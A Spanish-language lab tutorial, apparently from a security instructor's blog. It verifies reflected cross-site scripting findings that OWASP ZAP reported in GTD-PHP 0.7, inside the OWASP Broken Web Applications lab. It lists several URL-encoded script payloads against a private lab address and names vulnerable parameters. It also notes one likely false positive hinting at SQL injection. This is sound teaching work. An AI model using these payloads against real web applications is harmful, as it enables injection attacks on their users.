Cross Site Scripting (XSS) Reflejado en GTD-PHP Versión 0.7
GTD-PHP es una implementación basada en web del sistema personal de organización “Getting Things Done” o “Resolver las Cosas”. GTD-PHP es un de las diversas herramientas utilizadas con las soluciones de productividad descritas en el libro “Getting Things Done”. La idea básica detrás de este libro es ser más productivo cuando se tiene la mente clara.
Para la siguiente demostración se utilizará la versión 0.7 de GTD-PHP incluida en la más reciente versión de OWASP Broken Web Applicación Project.
Configurado Zed Attack Proxy con Firefox, se ejecutan las herramientas de “Spider” y “Active Scan”, para luego analizar los resultados obtenidos en la pestaña de nombre “Alerts”.
Zed Attack Proxy expone seis alertas relacionadas a Cross Site Scripting (XSS) Relejados. Cinco de los cuales utilizan el método GET y uno utilizan el método POST.
Se procede a verificar manualmente cada uno de estos hallazgos.
http: //192.168.0.X/gtd-php/checklistReport.php?checklistId=1&checklistTitle=%3C%2Fh1%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch1%3E
En el siguiente hallazgo se muestra el campo donde es factible explotar un XSS Reflejado.
http: //192.168.0.X/gtd-php/editChecklist.php?checklistId=1&checklistTitle=%3C%2Fh2%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch2%3E
El siguiente resultado se trataría de un falso positivo, pues aunque el script insertado por ZAP para realizar la prueba es devuelto en el cuerpo de la respuesta, el mensaje versa sobre un error en la consulta SQL. Este resultado podría indicar la posibilidad de realizar una Inyección SQL en lugar de un tema relacionado a un Cross Site Scripting.
http: //192.168.0.X/gtd-php/editChecklistItem.php?checklistItemId=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
En el siguiente hallazgo se muestra el campo donde es factible explotar un XSS Reflejado.
http://192.168.0.X/gtd-php/editList.php?listTitle=%3C%2Fh2%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch2%3E&listId=1
http: //192.168.0.X/gtd-php/listReport.php?listTitle=%3C%2Fh1%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch1%3E&listId=1
El último de las XSS Reflejados detectados por ZAP utiliza el método POST. El nombre del parámetro vulnerable es: “completedProj%5B%5D”
http: //192.168.0.X/gtd-php/processProjectUpdate.php
Para realizar esta verificación manual se utiliza la funcionalidad de Interceptación de Zed Attack Proxy, para modificar el valor del parámetro vulnerable.
El script insertado se ha ejecutado correctamente.
Fuentes:
http://www.gtd-php.com/
http://sourceforge.net/projects/owaspbwa/
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
http://sourceforge.net/p/owaspbwa/tickets/?limit=999&sort=_severity+asc
Sobre el Autor
Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
WhatsApp: https://wa.me/51949304030
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
Youtube: https://www.youtube.com/c/AlonsoCaballero
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/